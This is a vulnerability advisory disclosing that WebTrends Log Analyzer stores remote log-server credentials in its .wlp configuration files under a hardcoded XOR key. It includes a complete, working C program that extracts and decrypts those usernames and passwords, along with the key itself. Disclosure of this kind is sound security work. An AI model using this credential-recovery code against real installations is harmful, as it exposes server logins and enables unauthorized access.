COMMAND
WebTrends Log Analyzer
SYSTEMS AFFECTED
Systems using WebTrends Log Analyzer
PROBLEM
Chris Wilson found following. The WebTrends Log Analyzer
(http://www.webtrends.com/) is a reporting tool to allow web
admins to generate website usage reports from web server logfiles.
The tool is able to retrieve logfiles remotely via HTTP or FTP to
do the reporting.
The problem is that any FTP and HTTP username and password
information used to access the web server's log files is
insecurely stored in configuration files. Specifically, the
information is XOR'ed with a hardcoded 16-byte key. If the
username and/or password exceed 16 characters, the key wraps
around and is reused. What makes the issue worse is, in using
FTP or HTTP where a username and password are required, there is
no option in the program to *NOT* save the username and password
information. If you leave the password field empty, the
connection to the web server fails.
Granted, this vulnerability is only an issue if an unauthorized
user can access the configuration files for the Log Analyzer.
But, if the software is put on a fileserver, anyone with
fileserver access is (by default) able to read the configuration
files, making the web server's host vulnerable. The following
simple little C program will take the data file name and pull out
the username/password information.
/*
* WebTrends data file username/password cracker
*
* The WebTrends Log Analyzer is a reporting tool to allow web admins
* to generate website usage reports from server logfiles. The Analyzer
* is able to retrieve logfiles remotely via HTTP or FTP to do the
* reporting. Username and password information for the remote FTP server
* or secure HTTP server access is stored in a file with a ".wlp" extension
* in the directory <WebTrends_base_dir>\wtm_log\datfiles. This file looks
* basically like a Windows "ini" file, and contains information about the
* "Web Log Profile" configured in the Log Analyzer software.
*
* The username and password strings are "encrypted" with a simple XOR cipher
* using a 16-byte key (0x1206f0c3903d0328e023ab00912feabc). If the username
* and/or password exceed 16 characters, the key wraps around and is reused.
*
* The program was written and compiled on Solaris 2.5.1, but should work
* on any platform (UN*X or Windows) where the offset returned by ftell() is
* in bytes.
*
* Disclaimer: This program and the information and algorithms contained
* within it are for educational purposes only! Neither I nor
* Harris Corporation are responsible for how it is used or
* events resulting from its use.
*
* You can do what you want with this code as long as this header block
* remains intact.
*
* To compile: gcc -o blah main.c
*
* To run: blah (for all you non-coders out there....)
*
* Note: This was tested against WebTrends Log Analyzer version 4.1a,
* Build Date 3/24/1998, Build Number 1026
*
* By: Christopher Wilson (chris.wilson@harris.com) on 05/21/1998
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ()
{
char filename[FILENAME_MAX];
FILE *ifp;
long len;
unsigned char *file_data = 0;
unsigned char *token = 0;
unsigned char line_sep[3] = { 0x0a, 0x0d, 0x00 };
/* get the data file name */
printf("Enter path to WebTrends .wlp file:\n");
printf("(hint: try <WebTrends_base_dir>\\wtm_log\\datfiles\\*.wlp): ");
fgets(filename, sizeof(filename), stdin);
if (filename[strlen(filename) - 1] == '\n')
{
filename[strlen(filename) - 1] = 0;
}
if ((ifp = fopen(filename, "rb")) == 0)
{
fprintf(stderr, "*** Error opening file '%s'. Exiting...\n", filename);
return(1);
}
/* figure out the size of the file and malloc space to hold its data */
if (fseek(ifp, 0, SEEK_END) == -1)
{
fprintf(stderr, "*** Error determining file size for file '%s'. Exiting...\n", filename);
return(1);
}
len = ftell(ifp);
rewind(ifp);
file_data = (unsigned char *)malloc(len * sizeof(unsigned char));
/* now read it in */
if (fread(file_data, sizeof(unsigned char), len, ifp) == 0)
{
perror("Error reading file");
}
/*
* process each line of the file, looking for the lines that start with
* "LogFileUsername" or "LogFilePassword". These are the ones to crack.
*/
token = (unsigned char *)strtok(file_data, line_sep);
while (token != 0)
{
if ((strncmp(token, "LogFileUsername", strlen("LogFileUsername")) == 0) ||
(strncmp(token, "LogFilePassword", strlen("LogFilePassword")) == 0))
{
/* found a relevant line */
unsigned char *encrypt_start = (unsigned char *)strchr(token, '=') + 1;
if (encrypt_start == (unsigned char *)1)
{
fprintf(stderr, "*** Log file corrupted, reading line that says:\n%s\n",
token);
}
else
{
/* this is the XOR cipher's 16-byte key (duh) */
unsigned char key[16] = { 0x12, 0x06, 0xf0, 0xc3,
0x90, 0x3d, 0x03, 0x28,
0xe0, 0x23, 0xab, 0x00,
0x91, 0x2f, 0xea, 0xbc };
char label[16];
int count = 0;
/*
* this is just so we can label the output as "Username" or
* "Password".
*/
memset(label, 0, sizeof(label));
strncpy(label, token, 15);
printf("%s = '", label);
/* now let's "decrypt" the bytes of the username/password */
while (encrypt_start[count] != 0)
{
printf("%c", encrypt_start[count] ^ key[count % 16]);
count++;
}
printf("' (without the quotes ('))\n");
}
}
token = (unsigned char *)strtok(0, line_sep);
}
free(file_data);
return(0);
}
SOLUTION
WebTrends was contacted about the vulnerability. If you use the
WebTrends Log Analyzer, the only recommended workaround is to not
use its remote connection capabilities where a username and
password are required.